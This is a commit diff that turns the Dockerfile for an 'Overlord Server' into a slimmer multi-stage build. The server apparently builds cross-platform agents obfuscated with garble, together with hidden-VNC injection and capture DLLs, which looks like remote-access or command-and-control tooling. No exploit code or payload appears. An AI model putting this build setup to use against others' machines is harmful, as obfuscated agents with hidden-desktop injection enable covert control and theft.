massive shrink on docker
This commit is contained in:
KingKDot
+87
-79
@@ -1,96 +1,69 @@
|
||||
# syntax=docker/dockerfile:1.7
|
||||
# Overlord Server Dockerfile
|
||||
FROM oven/bun:1 AS base
|
||||
# Overlord Server Dockerfile (multi-stage)
|
||||
#
|
||||
# Stage 1 (builder): full apt toolchain to compile assets + HVNC DLLs.
|
||||
# Stage 2 (runtime, slim): only what the server needs at startup. Cross-compile
|
||||
# toolchains (mingw, aarch64/armv7/musl, Android NDK, ldid, UPX) are downloaded
|
||||
# on first agent build by Overlord-Server/src/server/toolchain-manager.ts and
|
||||
# cached in the persistent /app/data volume.
|
||||
|
||||
# ============================================================
|
||||
# Stage 1: builder
|
||||
# ============================================================
|
||||
FROM oven/bun:1 AS builder
|
||||
WORKDIR /app
|
||||
|
||||
# Install Go for agent building and other tools
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
build-essential \
|
||||
gcc-mingw-w64-x86-64 \
|
||||
g++-mingw-w64-x86-64 \
|
||||
gcc-mingw-w64-i686 \
|
||||
musl-tools \
|
||||
gcc-aarch64-linux-gnu \
|
||||
gcc-arm-linux-gnueabihf \
|
||||
openssl \
|
||||
curl \
|
||||
ca-certificates \
|
||||
wget \
|
||||
git \
|
||||
unzip \
|
||||
upx-ucl \
|
||||
zip \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
|
||||
--mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
apt-get update && apt-get install -y --no-install-recommends \
|
||||
build-essential \
|
||||
gcc-mingw-w64-x86-64 \
|
||||
g++-mingw-w64-x86-64 \
|
||||
gcc-mingw-w64-i686 \
|
||||
ca-certificates \
|
||||
wget \
|
||||
curl \
|
||||
git \
|
||||
unzip \
|
||||
zip
|
||||
|
||||
# Install Go (latest stable version)
|
||||
ENV GO_VERSION=1.26.2
|
||||
ARG TARGETARCH
|
||||
RUN case "${TARGETARCH}" in \
|
||||
RUN case "${TARGETARCH:-amd64}" in \
|
||||
amd64) GO_ARCH=amd64 ;; \
|
||||
arm64) GO_ARCH=arm64 ;; \
|
||||
*) echo "Unsupported architecture: ${TARGETARCH}" >&2; exit 1 ;; \
|
||||
esac \
|
||||
&& wget -q https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
|
||||
&& tar -C /usr/local -xzf go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
|
||||
&& rm go${GO_VERSION}.linux-${GO_ARCH}.tar.gz
|
||||
&& wget -q "https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \
|
||||
&& tar -C /usr/local -xzf "go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \
|
||||
&& rm "go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \
|
||||
&& rm -rf /usr/local/go/test /usr/local/go/api /usr/local/go/doc /usr/local/go/misc
|
||||
|
||||
ENV PATH="/usr/local/go/bin:${PATH}"
|
||||
ENV PATH="/usr/local/go/bin:/go/bin:${PATH}"
|
||||
ENV GOPATH="/go"
|
||||
ENV PATH="${GOPATH}/bin:${PATH}"
|
||||
ENV GOCACHE=/root/.cache/go-build
|
||||
ENV GOMODCACHE=/go/pkg/mod
|
||||
|
||||
# Install garble for obfuscated agent builds (requires Go 1.25+)
|
||||
RUN --mount=type=cache,target=/root/.cache/go-build \
|
||||
--mount=type=cache,target=/go/pkg/mod \
|
||||
go install mvdan.cc/garble@latest
|
||||
|
||||
# Install Android NDK for Android cross-compilation
|
||||
ENV ANDROID_NDK_VERSION=r27c
|
||||
ENV ANDROID_NDK_HOME=/opt/android-ndk
|
||||
RUN case "${TARGETARCH}" in \
|
||||
amd64) NDK_HOST="linux-x86_64" ;; \
|
||||
arm64) NDK_HOST="linux-aarch64" ;; \
|
||||
*) echo "Unsupported architecture for Android NDK: ${TARGETARCH}" >&2; exit 1 ;; \
|
||||
esac \
|
||||
&& wget -q "https://dl.google.com/android/repository/android-ndk-${ANDROID_NDK_VERSION}-linux.zip" \
|
||||
&& unzip -q android-ndk-${ANDROID_NDK_VERSION}-linux.zip \
|
||||
&& mv android-ndk-${ANDROID_NDK_VERSION} ${ANDROID_NDK_HOME} \
|
||||
&& rm android-ndk-${ANDROID_NDK_VERSION}-linux.zip
|
||||
|
||||
RUN case "${TARGETARCH}" in \
|
||||
amd64) LDID_ARCH="x86_64" ;; \
|
||||
arm64) LDID_ARCH="aarch64" ;; \
|
||||
*) LDID_ARCH="" ;; \
|
||||
esac \
|
||||
&& if [ -n "${LDID_ARCH}" ]; then \
|
||||
wget -q "https://github.com/ProcursusTeam/ldid/releases/download/v2.1.5-procursus7/ldid_linux_${LDID_ARCH}" \
|
||||
-O /usr/local/bin/ldid \
|
||||
&& chmod +x /usr/local/bin/ldid; \
|
||||
fi
|
||||
|
||||
# Copy package files and lockfile
|
||||
# Full bun install (includes devDeps needed for tailwind / vendor / minify steps)
|
||||
COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
|
||||
RUN --mount=type=cache,target=/root/.bun/install/cache \
|
||||
bun install --frozen-lockfile
|
||||
|
||||
# Install dependencies
|
||||
RUN bun install --frozen-lockfile
|
||||
|
||||
# Copy source code and client code (needed for builds)
|
||||
# Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI)
|
||||
COPY Overlord-Server/ ./
|
||||
COPY Overlord-Client/ ./Overlord-Client/
|
||||
|
||||
# Copy HVNCInjection source and build script for cross-compilation
|
||||
# HVNC sources for the cross-compile fallback (used only if no pre-built MSVC DLL).
|
||||
COPY HVNCInjection/ ./HVNCInjection/
|
||||
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
|
||||
|
||||
# Copy HVNCCapture source and build script for cross-compilation
|
||||
COPY HVNCCapture/ ./HVNCCapture/
|
||||
COPY build-hvnc-capture-dll.sh ./build-hvnc-capture-dll.sh
|
||||
|
||||
# Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact).
|
||||
# Fall back to cross-compiling with mingw only if no pre-built DLL exists.
|
||||
RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
|
||||
RUN mkdir -p dist-clients && \
|
||||
if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
|
||||
echo "Using pre-built MSVC HVNCInjection DLL"; \
|
||||
else \
|
||||
chmod +x build-hvnc-dll.sh && \
|
||||
@@ -98,8 +71,6 @@ RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
|
||||
echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \
|
||||
fi
|
||||
|
||||
# Use MSVC-built HVNCCapture DLL if present (preferred, from CI artifact).
|
||||
# Fall back to cross-compiling with mingw (C++) only if no pre-built DLL exists.
|
||||
RUN if [ -f dist-clients/HVNCCapture.x64.dll ]; then \
|
||||
echo "Using pre-built MSVC HVNCCapture DLL"; \
|
||||
else \
|
||||
@@ -108,23 +79,58 @@ RUN if [ -f dist-clients/HVNCCapture.x64.dll ]; then \
|
||||
echo "WARNING: HVNCCapture DLL not available (build with MSVC on Windows)"; \
|
||||
fi
|
||||
|
||||
# Create necessary directories
|
||||
RUN mkdir -p certs public data
|
||||
|
||||
# Build Tailwind CSS and vendor assets
|
||||
# Tailwind CSS + vendored frontend assets
|
||||
RUN bun run build:css && bun run vendor \
|
||||
&& test -s ./public/assets/tailwind.css && test -d ./public/vendor/fontawesome
|
||||
|
||||
# NOTE: We intentionally do NOT use `bun build --compile` here.
|
||||
# The compiled standalone binary runs from a virtual bunfs filesystem that
|
||||
# cannot reliably load native modules like `sharp` from /app/node_modules,
|
||||
# even when marked --external. Running the TS entrypoint directly with bun
|
||||
# keeps normal Node-style module resolution and lets sharp load correctly.
|
||||
|
||||
# Expose the default port
|
||||
# ============================================================
|
||||
# Stage 2: runtime (slim)
|
||||
# ============================================================
|
||||
FROM oven/bun:1-slim AS runtime
|
||||
WORKDIR /app
|
||||
|
||||
# openssl/ca-certificates: TLS cert generation + HTTPS validation.
|
||||
# wget/tar/unzip/xz-utils: required by toolchain-manager for on-demand downloads.
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
|
||||
--mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
apt-get update && apt-get install -y --no-install-recommends \
|
||||
openssl \
|
||||
ca-certificates \
|
||||
wget \
|
||||
tar \
|
||||
unzip \
|
||||
xz-utils \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Reuse Go + garble from the builder so we don't re-download.
|
||||
COPY --from=builder /usr/local/go /usr/local/go
|
||||
COPY --from=builder /go/bin/garble /go/bin/garble
|
||||
|
||||
ENV PATH="/usr/local/go/bin:/go/bin:${PATH}"
|
||||
ENV GOPATH="/go"
|
||||
ENV GOCACHE=/root/.cache/go-build
|
||||
ENV GOMODCACHE=/go/pkg/mod
|
||||
|
||||
# Production-only node_modules (drops tailwind, terser, postcss, typescript, ...).
|
||||
COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
|
||||
RUN --mount=type=cache,target=/root/.bun/install/cache \
|
||||
bun install --production --frozen-lockfile
|
||||
|
||||
# Server source.
|
||||
COPY Overlord-Server/ ./
|
||||
|
||||
# Built artifacts from the builder stage (overwrites anything from the source copy).
|
||||
COPY --from=builder /app/public ./public
|
||||
COPY --from=builder /app/dist-clients ./dist-clients
|
||||
|
||||
# Go agent source needed at every agent build.
|
||||
COPY Overlord-Client/ ./Overlord-Client/
|
||||
|
||||
RUN mkdir -p certs data
|
||||
|
||||
EXPOSE 5173
|
||||
|
||||
# Set environment variables (can be overridden)
|
||||
ENV PORT=5173
|
||||
ENV HOST=0.0.0.0
|
||||
ENV DATA_DIR=/app/data
|
||||
@@ -132,5 +138,7 @@ ENV NODE_ENV=production
|
||||
ENV OVERLORD_ROOT=/app
|
||||
ENV NODE_PATH=/app/node_modules
|
||||
|
||||
# Run the server directly with bun (no standalone-binary compile step)
|
||||
# NOTE: We intentionally do NOT use `bun build --compile` here.
|
||||
# The compiled standalone binary runs from a virtual bunfs filesystem that
|
||||
# cannot reliably load native modules like `sharp` from /app/node_modules.
|
||||
CMD ["bun", "run", "src/index.ts"]
|
||||
|
||||
Reference in New Issue
Block a user